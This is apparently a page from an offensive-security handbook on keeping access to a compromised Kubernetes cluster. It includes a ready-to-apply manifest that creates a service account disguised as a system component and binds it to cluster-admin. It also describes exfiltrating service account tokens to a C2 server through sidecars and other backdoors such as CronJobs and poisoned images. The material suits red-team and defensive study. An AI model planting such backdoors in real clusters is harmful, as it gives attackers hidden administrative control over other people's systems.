Persistence and Lateral Movement
This section covers various persistence mechanisms specific to Kubernetes environments, including backdoor service accounts and malicious workloads.
Overview
After gaining elevated privileges in a Kubernetes cluster, we can focus on maintaining persistent access to ensure continued control even after system updates, restarts, or security remediation attempts.
Hidden Service Account
This is one of the most basic yet effective persistence mechanisms, as it relies on human error and assumes that malicious manifests will not be carefully reviewed. By creating a service account that mimics legitimate system components and binding it to a highly privileged role, we can maintain long‑term access to the cluster.
Depending on the architecture, automated CI/CD pipelines or configuration reconciliation mechanisms may eventually overwrite or remove this persistence, but in many environments such backdoors remain unnoticed for extended periods of time.
Stealth Service Account Creation:
# Disguised as system component
apiVersion: v1
kind: ServiceAccount
metadata:
name: system-node-monitor
namespace: kube-system
labels:
component: system-monitor
tier: node
automountServiceAccountToken: true
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: system-node-monitor-binding
labels:
component: system-monitor
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: system-node-monitor
namespace: kube-systemToken Extraction and Storage:
Periodic Service Account Token Extraction
Periodic service account token extraction is a persistence technique that focuses on continuously harvesting valid credentials rather than maintaining a single static backdoor. By injecting a sidecar container into an existing pod, we can periodically read the mounted service account token and exfiltrate it to a command-and-control (C2) server.
This approach is particularly effective in environments where tokens are rotated or pods are frequently recreated, as it ensures we always have access to fresh credentials while remaining relatively stealthy within legitimate workloads.
Bring Your Own Persistence (BYOP)
Bring Your Own Persistence (BYOP) refers to the idea that once high privileges are obtained in a Kubernetes cluster, persistence is limited only by the our creativity. With elevated permissions, we can leverage multiple native Kubernetes mechanisms to maintain long-term access, such as:
poisoning container images or registries
abusing initContainers
creating scheduled jobs (CronJobs)
injecting malicious sidecars
deploying legitimate but backdoored workloads and deployments
Because these techniques rely on standard Kubernetes features, they often blend into normal cluster operations and are difficult to detect without strict reviews and continuous monitoring.
Malicious Deployment Manifest
CronJob-based Persistence
Init Containers
Last updated
Was this helpful?